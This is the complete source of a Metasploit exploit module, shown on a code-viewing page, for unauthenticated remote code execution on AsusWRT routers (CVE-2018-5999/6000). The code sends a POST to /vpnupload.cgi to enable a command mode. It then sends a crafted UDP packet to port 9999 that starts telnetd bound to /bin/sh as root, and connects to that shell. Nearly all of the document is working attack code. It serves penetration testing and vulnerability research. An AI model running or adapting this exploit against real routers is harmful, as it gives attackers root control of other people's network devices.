Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/asuswrt_lan_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::Remote::Udp1011def initialize(info = {})12super(update_info(info,13'Name' => 'AsusWRT LAN Unauthenticated Remote Code Execution',14'Description' => %q{15The HTTP server in AsusWRT has a flaw where it allows an unauthenticated client to16perform a POST in certain cases. This can be combined with another vulnerability in17the VPN configuration upload routine that sets NVRAM configuration variables directly18from the POST request to enable a special command mode.19This command mode can then be abused by sending a UDP packet to infosvr, which is running20on port UDP 9999 to directly execute commands as root.21This exploit leverages that to start telnetd in a random port, and then connects to it.22It has been tested with the RT-AC68U running AsusWRT Version 3.0.0.4.380.7743.23},24'Author' =>25[26'Pedro Ribeiro <[email protected]>' # Vulnerability discovery and Metasploit module27],28'License' => MSF_LICENSE,29'References' =>30[31['URL', 'https://blogs.securiteam.com/index.php/archives/3589'],32['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/asuswrt-lan-rce.txt'],33['URL', 'https://seclists.org/fulldisclosure/2018/Jan/78'],34['CVE', '2018-5999'],35['CVE', '2018-6000']36],37'Targets' =>38[39[ 'AsusWRT < v3.0.0.4.384.10007',40{41'Payload' =>42{43'Compat' => {44'PayloadType' => 'cmd_interact',45'ConnectionType' => 'find',46},47},48}49],50],51'Privileged' => true,52'Platform' => 'unix',53'Arch' => ARCH_CMD,54'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },55'DisclosureDate' => '2018-01-22',56'DefaultTarget' => 0))57register_options(58[59Opt::RPORT(9999)60])6162register_advanced_options(63[64OptInt.new('ASUSWRTPORT', [true, 'AsusWRT HTTP portal port', 80])65])66end6768def exploit69# first we set the ateCommand_flag variable to 1 to allow PKT_SYSCMD70# this attack can also be used to overwrite the web interface password and achieve RCE by enabling SSH and rebooting!71post_data = Rex::MIME::Message.new72post_data.add_part('1', content_type = nil, transfer_encoding = nil, content_disposition = "form-data; name=\"ateCommand_flag\"")7374data = post_data.to_s7576res = send_request_cgi({77'uri' => "/vpnupload.cgi",78'method' => 'POST',79'rport' => datastore['ASUSWRTPORT'],80'data' => data,81'ctype' => "multipart/form-data; boundary=#{post_data.bound}"82})8384if res and res.code == 20085print_good("#{peer} - Successfully set the ateCommand_flag variable.")86else87fail_with(Failure::Unknown, "#{peer} - Failed to set ateCommand_flag variable.")88end899091# ... but we like to do it more cleanly, so let's send the PKT_SYSCMD as described in the comments above.92info_pdu_size = 512 # expected packet size, not sure what the extra bytes are93r = Random.new9495ibox_comm_pkt_hdr_ex =96[0x0c].pack('C*') + # NET_SERVICE_ID_IBOX_INFO 0xC97[0x15].pack('C*') + # NET_PACKET_TYPE_CMD 0x1598[0x33,0x00].pack('C*') + # NET_CMD_ID_MANU_CMD 0x3399r.bytes(4) + # Info, don't know what this is100r.bytes(6) + # MAC address101r.bytes(32) # Password102103telnet_port = rand((2**16)-1024)+1024104cmd = "/usr/sbin/telnetd -l /bin/sh -p #{telnet_port}" + [0x00].pack('C*')105pkt_syscmd =106[cmd.length,0x00].pack('C*') + # cmd length107cmd # our command108109pkt_final = ibox_comm_pkt_hdr_ex + pkt_syscmd + r.bytes(info_pdu_size - (ibox_comm_pkt_hdr_ex + pkt_syscmd).length)110111connect_udp112udp_sock.put(pkt_final) # we could process the response, but we don't care113disconnect_udp114115print_status("#{peer} - Packet sent, let's sleep 10 seconds and try to connect to the router on port #{telnet_port}")116sleep(10)117118begin119ctx = { 'Msf' => framework, 'MsfExploit' => self }120sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnet_port, 'Context' => ctx, 'Timeout' => 10 })121if not sock.nil?122print_good("#{peer} - Success, shell incoming!")123return handler(sock)124end125rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e126sock.close if sock127end128129print_bad("#{peer} - Well that didn't work... try again?")130end131end132133134